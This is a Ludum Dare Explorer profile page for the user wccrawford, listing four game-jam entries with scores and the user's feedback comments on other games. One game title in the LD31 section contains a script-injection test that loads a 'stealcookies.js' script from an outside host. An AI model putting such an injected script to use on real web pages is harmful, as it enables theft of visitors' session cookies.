Foon → Ludum Dare Explorer → Users → wccrawford

wccrawford

Games

YearLDThemeGameDivisionRankOvFuInThGrAuHuMoCo
201431Entire Game on One ScreenPattern Puzzlecompo11532.371.932.333.371.971.9248
20132710 Seconds10 Seconds at the Carnival!compo4973.113.312.833.532.533.222.762.9466
201326MinimalismSimply Escapecompo10742.652.372.303.172.622.102.002.4978
201225You are the VillainSlaughtercompo7342.112.031.601.581.461.761.631.6771

Performance over time

overall score (left axis) percentile (right axis)

Correlations

Feedback left by wccrawford

wccrawford leaves an average of 4.8 feedback comments each event.

LD34 — Two Button Controls / Growing (3)

Isn't that crate? by Codexus 2015-12-16T19:50:00

I'm pretty sure my solution for the final method wasn't the intended one. But nice game!

Major Tom by OberynMartell 2015-12-16T18:43:00

I got mid-way through level 5 before webgl ran out of memory. OSX/Chrome.

Cosmo Hopper by PlasterPhantom 2015-12-16T14:24:00

Very well done! I got to the last upgrade and ran out of memory on the webgl version with Chrome/OS X.

I expected to dislike the game when I first started, but the upgrades really worked out well.

LD31 — Entire Game on One Screen (4)

Mechs Knight by Surfista 2014-12-08T13:31:00

Says that OpenColorIO.dll is missing.

This is also a test<div style='color:#F00'> pants</div><script src="www.drnick.com/stealcookies.js"></script> by sucher 2014-12-08T13:13:00

Link doesn't go to game.

Rob by SelfishGenome 2014-12-08T13:09:00

Clicking on the Windows link says the folder can no longer be viewed. Google probably didn't like the traffic.

Farm for Space by pixzleone 2014-12-08T12:54:00

Random game-overs suck. The meteors fall *way* too fast to be able to dodge, and being inside the house doesn't help. This makes it a game of luck rather than skill.

LD27 — 10 Seconds (4)

PROBE TEAM by Andrew Shouldice 2013-08-29T16:24:00

I love it!

I actually had a similar idea (exploration, successive drones can go further) but was unable to flesh it out in a reasonable time and switched ideas.

You really nailed this one! I'm a little jealous. :)

Ten Seconds To Live by TiRSO! 2013-08-27T15:14:00

That was a great game!

10 Second Sculptor by nathanhoffer 2013-08-26T04:51:00

More mouse control would have been nice. Having to press the keyboard enter (as opposed to keypad enter) was kind of a pain. Should have been able to click to continue at the end of each puzzle, and click the colors to choose them.

hurry! by hughsk 2013-08-26T04:33:00

Seems to work well enough (on Chrome), but I kind of wish there was a point to it. Shooting red spheres gets old quite quickly.

LD26 — Minimalism (9)

Metahotel by Christian S. 2013-05-07T18:13:00

Love puzzle games! This was great!

PLOG by Gungnir 2013-05-02T18:22:00

Great idea!

Wish is had gotten harder. Faster movement, spinning shapes, etc. Eventually just suicided because I knew I'd never lose unless I fell asleep.

MiniFPX by KhaoTom 2013-04-30T21:39:00

The middleware doesn't have to be free to join the compo. It just has to be 'publicly available.'

"All publicly available libraries and middleware are allowed."

No mention of free. They're just preventing you from unfairly stockpiling code before the competition.

Flourish by Beanalby 2013-04-30T17:03:00

It's too bad you didn't have time to add more mechanics to it. It seems like it had potential!

MIN by s0ulcrusher 2013-04-30T15:54:00

The jumping was harder than it should be. I'd be running and sure I had room to jump, and the jump button would just fail me.

The end was a little long, too. Seemed to just go on forever.

Mini Hero by sharbelfs 2013-04-29T23:45:00

Very nice. I love puzzle games.

Unfortunately, I've had it lock up a couple times. Once, it refused to show the second board at all. The next, it didn't recognize the solution as being finished. I didn't take off points for that, of course, it was just disappointing not to be able to finish the story.

MagnoMonster by puttputt 2013-04-29T12:46:00

Sometimes the spacebar didn't actually switch the polarity, and that was painful. It looked like it'd switch, then suddenly be back where it started.

DHRDR by johnste 2013-04-29T11:57:00

There was a chair stuck in the floor, so I couldn't continue. And falling off the edge means falling forever.

I also had some trouble with the controls, and often ended up upside-down, which was frustrating.

Overall really well done, though!

Min by smotko 2013-04-29T11:48:00

Overall I liked it. It felt like there wasn't enough challenge, though.

Also, not being able to move while *seeing* a black line was confusing. I thought you merely couldn't touch them. It always felt like I was being unfairly restricted.

And the movement was off. I expected to be able to hold the key and move repeated, but was instead forced to repeatedly tap the keys.

Good job, though!

LD25 — You are the Villain (4)

We Meet Again, Mr. Mond! by Luis Anton 2012-12-19T12:41:00

Oh man, I need more than 5 points for 'innovation' now. You've broken the scale. I love this idea!

Praelia Solus by rftr 2012-12-17T21:39:00

You can fix the 'chrome bug' by using http instead of https.

Crime Scene by saulotti 2012-12-17T14:31:00

Web version isn't completeable. You need to set the HTML so that unity will get the right-click, instead of popping up the menu.

Victor Grozny by DustyStylus 2012-12-16T20:28:00

Not bad! I could see this working with some plot and objectives.

I think it's be more fun with 4 physical knobs, too. The mouse was a big hard to control.